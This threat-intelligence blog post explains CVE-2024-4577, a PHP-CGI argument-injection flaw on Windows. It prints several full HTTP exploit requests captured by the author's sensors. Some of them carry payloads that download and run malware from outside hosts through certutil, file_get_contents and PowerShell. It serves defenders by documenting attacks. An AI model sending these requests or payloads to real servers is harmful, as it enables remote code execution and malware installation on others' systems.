What’s Going on With CVE-2024-4577 (Critical RCE in PHP)?

CVE-2024-4577 is a critical argument-injection vulnerability in PHP that affects Windows deployments and leads to a remote code execution.
vulnerabilities
cybersecurity
Author

Konstantin Lazarev

Published

June 13, 2024

Introduction

It’s been almost a week since DEVCORE published the technical details of CVE-2024-4577, a remote code execution vulnerability in PHP, closely followed by watchTowr’s PoC.

Rest assured, our omnipresent sensor fleet has observed some nefarious activity, and this blog post will take a closer look at the few peculiar payloads we’ve seen.

Background

CVE-2024-4577 is a critical argument-injection vulnerability in PHP that affects Windows deployments and leads to a remote code execution when the following conditions are met:

The OS is running in a specific system locale:

  • Traditional (Code Page 950) or Simplified (Code Page 936) Chinese
  • Japanese (Code Page 932)

and

  • PHP executable binary - php.exe or php-cgi.exe - is copied to the CGI directory or exposed via ScriptAlias /php-cgi/ "C:/xampp/php/" directive

    or

  • Windows machine running Apache HTTP Server with the Action directive configured to map HTTP requests to a PHP-CGI executable binary, for example:

AddHandler cgi-script .php  
Action cgi-script "/cgi-bin/php-cgi.exe"  

Due to the wide variety of PHP usage scenarios, it’s not entirely possible to eliminate the chance of exploitation of other locales and configurations.

Vulnerable PHP versions:

  • 8.3 < 8.3.8, 8.2 < 8.2.20, and 8.1 < 8.1.29
  • PHP branches 8.0, 7, and 5 (all have reached EOL)

The culprit of the vulnerability is ‘best-fit’ Windows behavior applied during Unicode processing, which in the context of PHP leads to CGI handler interpreting soft hyphen 0xAD as a regular hyphen, thus allowing for the injection of command-line arguments in the HTTP request - for example -d allow_url_include=1 -d auto_prepend_file=php://input followed by PHP code that gets executed:

GET /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1  
...  
<?php echo "CVE-2024-4577"; ?>  

In conclusion of this part, two quotes.

Orange Tsai, the author of the original research:

This vulnerability is incredibly simple, but that’s also what makes it interesting. Who would have thought that a patch, which has been reviewed and proven secure for the past 12 years, could be bypassed due to a minor Windows feature? I believe this feature could lead to more potential vulnerabilities.

VulnCheck, our friends and business partners:

We’ve also started scanning XAMPP servers on the internet looking for exploitable servers <…> not just version scans. The results indicate that this will not be widely exploited. XAMPP likely represents the best possibility for widespread vulnerable software (widely deployed, default install is vulnerable assuming the correct locale). But having scanned tens of thousands of Windows XAMPP hosts, we are only seeing something like a 0.50% vulnerable host rate (e.g in more simple terms for every 10,000 servers only 50 are vulnerable).

Payloads

Exhibit A

POST /test.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1  
Host: <IP_ADDRESS>  
Connection: close  
Accept: */*  
Accept-Encoding: gzip  
Accept-Language: en  
Connection: close  
Content-Length: 37  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:90.0) Gecko/20100101 Firefox/90.0  
 
<?php echo md5("CVE-2024-4577"); ?>  

Unsurprisingly, the most popular payload is a Nuclei template. The scanner expects MD5 3f2ba4ab3b260f4c2dc61a6fac7c3e8a within the server response as a confirmation of RCE being achieved.

We’ve also seen quite a few non-Nuclei variations with different PHP snippets, but the same basic idea behind them:

  • <?php echo md5(123456);?>, which seems to be a Python PoC

  • <?php echo "WanLiChangChengWanLiChang"; ?> - the echoed string translates to ten thousand li long wall

  • <?php echo md5(01011010010101); ?>

  • <?php echo "vulnerable"; ?>

  • <?php echo 5680*7562*40377;die(); ?>

  • <?php echo 5508*3210*61595;die(); ?>

  • <?php phpinfo(); ?>

  • <?php die(md5(124*234));?>

  • <?php echo shell_exec("ping win.kyeezvd0.dnslog.pw")?>

  • <?php system('certutil.exe -urlcache -f http://<IP_ADDRESS>/');?>

    • certutil is a popular Windows binary that is capable of downloading files, however in this case it seemingly just reaches out to hxxp://185[.]72[.]9[.]5:80/

Exhibit B

POST /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1  
Host: <IP_ADDRESS>  
Connection: keep-alive  
Content-Length: 145  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko  
 
<?php $data = file_get_contents( "http://<IP_ADDRESS>/download/x86.exe" );file_put_contents( "mskrnl.exe", $data );system( "mskrnl.exe");?>  

This request originated from the comrades at 62[.]204[.]41[.]128, and upon the successfully achieved RCE would fetch and execute hxxp://213[.]109[.]202[.]188:80/download/x86.exe, which appears to be a Cobalt Strike beacon that would communicate with hxxp://213[.]109[.]202[.]188/dpixel

Kudos to CERT-EE for reviving the Cuckoo Sandbox 3, and maintaining its public instance:

Exhibit C

POST /index.php?%ADd+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input HTTP/1.1  
Host: <IP_ADDRESS>  
Accept: */*  
Accept-Encoding: gzip, deflate, br  
Connection: keep-alive  
Content-Length: 225  
User-Agent: python-requests/2.28.2  
 
<?php system('C:\WINDOWS\system32\cmd.exe /k powershell -W Hidden powershell -command Invoke-WebRequest https://github.com/matrix52/1488/raw/main/bot.exe -UseBasicParsing -OutFile TEMP.exe ; Start TEMP.exe')?>;echo 1337; die;  

The attacker at 176[.]118[.]120[.]251 tried to use PowerShell and download a rather chonky (6.1MB) trojan.python/dbadur malware file hosted on GitHub.

Unexpectedly, the malware crashed while running on Windows 7 sandbox:
Doge thus, the network-related part is missing from the Cuckoo report.

VirusTotal’s behavioral analysis showed that the malware attempts to perform a DNS look up for le-shaw[.]gl[.]at[.]ply[.]gg, which is a subdomain of a tunneling service.

We were able to decompile the sample, and locate a couple of public repositories with a very similar code:

Exhibit D

POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1  
Host: <IP_ADDRESS>  
Accept: */*  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Length: 106  
Content-Type: application/x-www-form-urlencoded  
User-Agent: python-requests/2.27.1  
 
<?php system('certutil.exe -urlcache -f http://<IP_ADDRESS>/system64.exe bad.exe&start bad.exe');?>  

Source IPs using this payload:

Note how the additional CLI arguments cgi.force_redirect and cgi.redirect_status_env are being injected in the URI.

We’ve also observed variations of this payload with the different file names:

  • <?php system('certutil.exe -urlcache -f http://<IP_ADDRESS>/phps.exe phpsm.exe&start phpsm.exe');?>
  • <?php system('certutil.exe -urlcache -f http://<IP_ADDRESS>/phpab.exe bad.exe&start phpb.exe');?>
  • <?php system('certutil.exe -urlcache -f http://<IP_ADDRESS>/phpab.exe phpb.exe&start phpb.exe');?>

The malware gets downloaded from hxxp://154[.]201[.]91[.]59:44557 or hxxp://147[.]50[.]253[.]109:44119, and seems to be a variant of Gh0st RAT. It reaches out to C2 146[.]19[.]100[.]7 on port 8000 upon execution:


  • The examples in this blog post are current as of the day of publishing (2024-06-13)
  • We’ve yet to observe the payloads using data:// instead of php://
  • Where applicable, Cuckoo 3 analysis pages contain exportable file samples